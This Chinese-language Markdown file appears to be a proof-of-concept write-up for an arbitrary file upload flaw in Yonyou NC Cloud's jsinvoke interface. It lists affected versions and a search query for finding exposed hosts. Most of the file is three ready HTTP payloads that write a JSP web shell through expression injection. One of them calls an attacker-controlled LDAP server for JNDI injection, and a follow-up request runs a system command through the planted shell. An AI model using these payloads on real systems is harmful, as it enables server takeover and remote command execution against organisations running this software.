87 lines
2.3 KiB
Markdown
87 lines
2.3 KiB
Markdown
# 漏洞描述
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用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限
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app="用友-NC-Cloud"
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# 影响版本
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```
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NC63、NC633、NC65NC Cloud1903、NC Cloud1909NC Cloud2005、NC Cloud2105、NC Cloud2111
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```
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POC1
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```
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POST /uapjs/jsinvoke/?action=invoke
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Content-Type: application/json
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{
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"serviceName": "nc.itf.iufo.IBaseSPService",
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"methodName": "saveXStreamConfig",
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"parameterTypes": [
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"java.lang.Object",
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"java.lang.String"
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],
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"parameters": [
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"${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
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"webapps/nc_web/407.jsp"
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]
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}
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```
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POC2
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```
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POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
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Host:
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Connection: Keep-Alive
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Content-Length: 253
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Content-Type: application/x-www-form-urlencoded
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{
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"serviceName": "nc.itf.iufo.IBaseSPService",
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"methodName": "saveXStreamConfig",
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"parameterTypes": [
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"java.lang.Object",
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"java.lang.String"
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],
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"parameters": [
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"${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",
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"webapps/nc_web/301.jsp"
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]
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}
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```
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POC3
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```
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POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
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Host: 192.168.0.11:8089
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Content-Length: 249
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Accept: */*
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{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/1ndex.jsp"]}
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```
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访问1ndex.jsp，命令执行成功！
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```
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https://192.168.0.11:8089/1ndex.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream())
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```
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```
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GET /1ndex.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream()) HTTP/1.1
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Host: 192.168.0.11:8089
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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```
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